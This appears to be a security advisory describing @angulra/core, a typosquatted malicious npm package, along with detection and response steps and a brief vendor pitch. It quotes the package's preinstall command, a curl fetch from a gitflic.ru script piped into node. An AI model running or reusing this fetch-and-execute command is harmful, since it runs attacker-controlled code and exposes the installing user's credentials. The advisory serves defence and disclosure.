@angulra/corenpm
Advisory published Updated
@angulra/core is a confirmed malicious npm package (MAL-2026-17496) that typosquats a legitimate package to trick installs (malicious version 1.0.67). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @angulra/core (npm)
What this malware does
The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at npm install time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name @angulra/core resembles Angular ecosystem names while the package description (Core Libs) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running npm install on this package executes arbitrary remote code with the installing user's privileges.

Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for @angulra/core (version 1.0.67).
If you installed it — respond
@angulra/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @angulra/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angulra/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks @angulra/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
